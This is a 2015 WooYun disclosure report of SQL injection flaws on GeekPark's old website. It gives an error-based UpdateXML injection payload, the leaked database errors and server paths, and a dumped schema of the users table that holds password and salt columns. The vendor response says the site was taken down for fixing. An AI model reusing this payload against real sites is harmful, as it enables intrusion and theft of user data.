当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-092590

漏洞标题:极客公园官方网站SQL注射漏洞包

相关厂商:geekpark.net

漏洞作者: 猪猪侠

提交时间:2015-01-18 22:27

修复时间:2015-01-19 10:26

公开时间:2015-01-19 10:26

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-18: 细节已通知厂商并且等待厂商处理中
2015-01-18: 厂商已经确认,细节仅向厂商公开
2015-01-19: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

打个包,免得你们又说我刷分毁我形象,哎,还是没打偏

详细说明:

#1 注入1
http://old.geekpark.net/ajax/share_plus
guid=210714 and UpdateXML(1,CONCAT(0x5b,mid((SELECT user()),1,32),0x5d),1)&item=sina

A Database Error Occurred
Error Number: 1105
XPATH syntax error: '[geek_event@localhost]'
UPDATE core_extra_entities SET `sina`=`sina`+1 WHERE guid=210714 and UpdateXML(1,CONCAT(0x5b,mid((SELECT user()),1,32),0x5d),1)
Filename: /data/www/event.geekpark.net/models/entity_mod.php
Line Number: 50


#2 注入2
http://old.geekpark.net/tags/search
tag_name=123&limit=10,两个参数都可以注入

A Database Error Occurred
Error Number: 1064
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'yes' ORDER BY ce.guid DESC LIMIT 10', 10' at line 12
SELECT tr.entity_guid, ce.subtype_id, ce.title, FROM_UNIXTIME(e.time_created, '%Y-%m-%d %H:%i:%s' ) time_updated, u.guid, u.screen_name, u.username, c.highlight, s.abstract FROM tag_relations tr LEFT OUTER JOIN core_entities ce ON tr.entity_guid = ce.guid LEFT OUTER JOIN entities e ON ce.guid = e.guid LEFT OUTER JOIN users u ON e.user_guid = u.guid LEFT OUTER JOIN clips c ON c.guid=ce.guid LEFT OUTER JOIN seed s ON s.guid=ce.guid WHERE tag_id = ( SELECT guid FROM core_entities WHERE subtype_id =6 AND title = '123'' LIMIT 1 ) AND visibility='yes' ORDER BY ce.guid DESC LIMIT 10', 10;
Filename: /data/www/event.geekpark.net/models/tag_mod.php
Line Number: 231


漏洞证明:

用户数据库

Database: geekpark
Table: users
[47 columns]
+-----------------+--------------------------------------------+
| Column | Type |
+-----------------+--------------------------------------------+
| position | varchar(50) |
| achievement | text |
| activation_key | varchar(32) |
| address | varchar(100) |
| bio | varchar(2000) |
| birthday | varchar(50) |
| blog | varchar(100) |
| career | text |
| city | varchar(100) |
| company | varchar(100) |
| company_website | varchar(100) |
| current_level | int(11) |
| custom_name | varchar(50) |
| education | text |
| email | varchar(64) |
| fax | varchar(30) |
| first_login | int(10) unsigned |
| gender | int(11) |
| gplus | varchar(2000) |
| group_id | smallint(5) unsigned |
| guid | int(10) unsigned |
| industry | varchar(200) |
| interests | varchar(200) |
| is_recommend | int(11) unsigned |
| last_ip | varchar(15) |
| mobilephone | varchar(50) |
| notice_notify | int(10) unsigned |
| password | varchar(32) |
| qr_code | varchar(32) |
| real_name | varchar(60) |
| salt | varchar(8) |
| score | int(10) unsigned |
| screen_name | varchar(60) |
| signature | varchar(200) |
| sina_uid | int(11) |
| skills | varchar(200) |
| status | enum('active','inactive','banned','guest') |
| sync_setting | text |
| tel | varchar(32) |
| tempass | varchar(32) |
| tempemail | varchar(50) |
| unique_id | varchar(32) |
| user_url | varchar(50) |
| username | varchar(32) |
| weibo_url | varchar(200) |
| wx_open_id | varchar(64) |
| zdl_data | varchar(2000) |
+-----------------+--------------------------------------------+


#证明1

sql1.jpg


#证明2

sql2.jpg

修复方案:

过滤

版权声明:转载请注明来源 猪猪侠@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-01-18 22:33

厂商回复:

哈哈,今天极客公园真是热闹啊。不过还是谢谢你们了

最新状态:

2015-01-19:因为 old 等是暂停使用的站点。现已将历史版本下线,待修复后上线